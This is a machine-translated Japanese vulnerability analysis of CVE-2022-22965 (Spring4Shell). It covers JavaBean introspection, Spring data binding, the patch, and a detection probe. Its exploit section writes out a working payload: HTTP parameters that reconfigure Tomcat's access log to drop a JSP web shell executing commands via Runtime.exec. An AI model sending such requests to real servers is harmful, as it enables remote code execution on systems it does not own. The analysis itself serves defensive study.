この記事は、XuuuuによるHUAWEICLOUDコミュニティ「CVE-2022-22965VulnerabilityAnalysis 」から共有されています。
CVE-2022-22965
JDK9以降で実行されているSpringMVCまたはSpringWebFluxアプリケーションは、データバインディングを介したリモートコード実行(RCE)に対して脆弱である可能性があります。特定のエクスプロイトでは、アプリケーションをWARデプロイメントとしてTomcatで実行する必要があります。アプリケーションがSpringBoot実行可能jar、つまりデフォルトとしてデプロイされている場合、エクスプロイトに対して脆弱ではありません。ただし、脆弱性の性質はより一般的であり、それを悪用する他の方法がある可能性があります。
環境建設
マスターでのVulEnv/springboot / cve-2022-22965・XuCcc / VulEnv
事前知識
JavaBean
典型的なBeanオブジェクトは次のとおりです
class UserInfo {
private int age;
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
プライベートを介してプロパティを定義し、パブリックgetXyz / setXyzを介して読み取りおよび書き込みを行うクラスは、JavaBean[^1]と呼ばれます。
イントロスペクター
java.beans.Introspector [^ 2]は、javaBeansのプロパティ、メソッド、およびイベントにアクセスするための標準のメソッドセットを提供します。これは、Bean自体および親クラスまでの情報を検索します。たとえば、java.beans.PropertyDescriptor(name / getter / setter / ...)を介してプロパティ関連の情報を取得します。
public static void main(String args[]) throws IntrospectionException {
BeanInfo info = Introspector.getBeanInfo(UserInfo.class);
PropertyDescriptor[] propertyDescriptors = info.getPropertyDescriptors();
for (PropertyDescriptor propertyDescriptor : propertyDescriptors) {
System.out.println(propertyDescriptor);
System.out.println("=================================================");
}
}
// java.beans.PropertyDescriptor[name=age; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@6e1567f1; required=false}; propertyType=int; readMethod=public int person.xu.vulEnv.UserInfo.getAge(); writeMethod=public void person.xu.vulEnv.UserInfo.setAge(int)]
// =================================================
// java.beans.PropertyDescriptor[name=class; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.Class; readMethod=public final native java.lang.Class java.lang.Object.getClass()]
// =================================================
割り当て操作は、イントロスペクション操作を介して実行することもできます
UserInfo user = new UserInfo();
System.out.println("age: " + user.getAge());
PropertyDescriptor pd = Arrays.stream(info.getPropertyDescriptors()).filter(p -> p.getName().equals("age")).findFirst().get();
pd.getWriteMethod().invoke(user, 18);
System.out.println("age: " + user.getAge());
// age: 0
// age: 18
春のBeanWrapperImpl
JavaBean操作用の一連の単純なAPIと、いくつかの高度な機能(ネストされたプロパティ、バッチ読み取りおよび書き込みなど)を提供します。
public class User {
private String name;
private UserInfo info;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public UserInfo getInfo() {
return info;
}
public void setInfo(UserInfo info) {
this.info = info;
}
public static void main(String args[]) {
User user = new User();
BeanWrapper bw = PropertyAccessorFactory.forBeanPropertyAccess(user);
bw.setAutoGrowNestedPaths(true);
bw.setPropertyValue("name", "wang");
bw.setPropertyValue("info.age", 18);
System.out.printf("%s is %d%n", user.getName(), user.getInfo().getAge());
}
}
// wang is 18
setPropertyValue( "name"、 "wang")で呼び出しロジックを分析して、プロセスの一般的な理解を得ます
org.springframework.beans.AbstractNestablePropertyAccessor [^ 3]
- getPropertyAccessorForPropertyPathメソッドを呼び出して、ゲッターを介してネストされたプロパティを取得します
- getPropertyAccessorForPropertyPathネストされたABCプロパティがある場合、値を取得するためにゲッターが周期的に呼び出されます
- setPropertyValueメソッドを呼び出して、セッターを介してプロパティを設定します
- processKeyedPropertyは、Array /List...オブジェクトを設定します
- processLocalPropertyは、単純なBeanオブジェクトを設定します
- getLocalPropertyHandlerはプロパティ記述子を取得します
- getCachedIntrospectionResultsキャッシュからPropertyDescriptorを取得します
- CachedIntrospectionResults#forClassは、現在のBeanのキャッシュを作成します
- …
- getCachedIntrospectionResultsキャッシュからPropertyDescriptorを取得します
- setValueは、リフレクションを介してsetterを呼び出すことによって値を割り当てます
- getLocalPropertyHandlerはプロパティ記述子を取得します
Springデータバインド
スプリングパラメーターバインディングのプロセスを追跡するための例として、次のコントローラーを取り上げます。
@GetMapping("/")
public String info(User user) {
return String.format("%s is %d", user.getName(), user.getInfo().getAge());
}
- 着信httpリクエストはorg.springframework.web.servlet.DispatcherServlet#doDispatchによって処理され、対応するハンドラーが処理用に検出されます
- org.springframework.web.method.support.InvocableHandlerMethod#invokeForRequestハンドラーを呼び出す前のパラメーターバインディング
- 応答のorg.springframework.web.method.support.HandlerMethodArgumentResolver#resolveArgumentを使用してパラメーターを解決し、要求からパラメーターを取得します。これがorg.springframework.web.method.annotation.ModelAttributeMethodProcessor#resolveArgumentです。
- 次に、org.springframework.validation.DataBinder#doBindに移動し、JavaBeanオブジェクトに従って値を割り当てます。ここでは、SetPropertyValuesを介して値を割り当てるBeanWrapperImplを取得します
- org.springframework.beans.AbstractPropertyAccessor#setPropertyValues
- org.springframework.beans.AbstractNestablePropertyAccessor#setPropertyValue
ソースコード分析
公式は5.3.18でこの問題を修正しました 。v5.3.17…v5.3.18の比較をチェックしてください・spring-projects / spring-framework はorg.springframework.beans.CachedIntrospectionResults#CachedIntrospectionResultsで関連する変更を行い、PropertyDescriptor関連のフィルターを強化しました。関連する通話を表示
- org.springframework.beans.CachedIntrospectionResults#forClass
- org.springframework.beans.BeanWrapperImpl#getCachedIntrospectionResults
上記の内容を組み合わせると、パラメータバインディングを実行するときにSpringによって呼び出されるBeanWrapperImplが、JavaBean操作を実行するときにこの脆弱性をトリガーすることを推測するのは難しくありません。
<init>:272, CachedIntrospectionResults (org.springframework.beans)
forClass:181, CachedIntrospectionResults (org.springframework.beans)
getCachedIntrospectionResults:174, BeanWrapperImpl (org.springframework.beans)
getLocalPropertyHandler:230, BeanWrapperImpl (org.springframework.beans)
getLocalPropertyHandler:63, BeanWrapperImpl (org.springframework.beans)
processLocalProperty:418, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:278, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:266, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValues:104, AbstractPropertyAccessor (org.springframework.beans)
applyPropertyValues:856, DataBinder (org.springframework.validation)
doBind:751, DataBinder (org.springframework.validation)
doBind:198, WebDataBinder (org.springframework.web.bind)
bind:118, ServletRequestDataBinder (org.springframework.web.bind)
bindRequestParameters:158, ServletModelAttributeMethodProcessor (org.springframework.web.servlet.mvc.method.annotation)
resolveArgument:171, ModelAttributeMethodProcessor (org.springframework.web.method.annotation)
resolveArgument:122, HandlerMethodArgumentResolverComposite (org.springframework.web.method.support)
getMethodArgumentValues:179, InvocableHandlerMethod (org.springframework.web.method.support)
invokeForRequest:146, InvocableHandlerMethod (org.springframework.web.method.support)
...
Exp書き込み
JDK9は新たにjava.lang.Module[^4]を提供するため、classLoaderはCachedIntrospectionResults#CachedIntrospectionResultsのclass.module.classLoaderを介して取得できます。したがって、このホールはCVE-2010-1622[^5]のバイパスでもあります。
現在流通しているすべてのEXPは、TomcatのParallelWebappClassLoaderを使用して、Tomcat [^ 6]のログ関連の属性を変更し、コマンド実行の目的を達成するためにWebシェルをログファイルに書き込みます。
たとえば、httpヘッダーのcmdをwebapps/shell.jspに書き込みます。
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{cmd}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
メッセージを送る
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7bcmd%7di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2fROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 7.223.181.36:38888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
cmd: <%=Runtime.getRuntime().exec(request.getParameter(new String(new byte[]{97})))%>
shell.jsp?a=cmdを使用してコマンドを実行できます
その他の使用法の詳細については、以下を参照してください。Spring Framework rceに関するいくつかの考え(CVE-2022-22965)
パッチ修正
Springは、属性記述子を取得する際の判断を強化し、name属性のみを残します。
if (Class.class == beanClass && (!"name".equals(pd.getName()) && !pd.getName().endsWith("Name"))) {
// Only allow all name variants of Class properties
continue;
}
if (pd.getPropertyType() != null && (ClassLoader.class.isAssignableFrom(pd.getPropertyType())
|| ProtectionDomain.class.isAssignableFrom(pd.getPropertyType()))) {
// Ignore ClassLoader and ProtectionDomain types - nobody needs to bind to those
continue;
}
ポックライティング
クラスローダーの下のプロパティを誤って設定してBindException例外をトリガーし、サーバーが例外を返すようにすることで、送信などの脆弱性があるかどうかを判断できます。
GET /?class.module.classLoader.defaultAssertionStatus=123 HTTP/1.1
Host: 127.0.0.1:39999
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
サーバーリターン
HTTP/1.1 400
Content-Type: text/html;charset=UTF-8
Content-Language: zh-CN
Content-Length: 277
Date: Fri, 08 Apr 2022 03:49:42 GMT
Connection: close
<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>Fri Apr 08 11:49:42 CST 2022</div><div>There was an unexpected error (type=Bad Request, status=400).</div></body></html>
参照
- Spring Framework RCE、早期発表
- SpringShell RCEの脆弱性:CVE-2022-22965から保護および検出するためのガイダンス-Microsoftセキュリティブログ
- SpringMVCパラメータバインディングの原則|テクノロジーが寿命を延ばす
- SpringFrameworkRCE脆弱性分析|Gta1taのブログ
- CVE-2022-22965(SpringShell):RCEの脆弱性の分析と軽減
脚注
[^ 1]:JavaBeans-Wikipedia
[^ 2]:Introspector(Java Platform SE 8)
[^ 3]:Spring Property Injection(3)AbstractNestablePropertyAccessor-binarylei-Blog Park
[^ 4]:モジュール(Java SE 9&JDK 9 )
[^ 5]:SpringMVCフレームワークの任意のコード実行の脆弱性の分析(CVE-2010-1622)-Ruilin
[^ 6]:Apache Tomcat 8構成リファレンス(8.0.53)-バルブコンポーネント
記事の最後のボーナス:HUAWEICLOUD脆弱性スキャンサービスVSSBasicEditionは期間限定で無料です>>>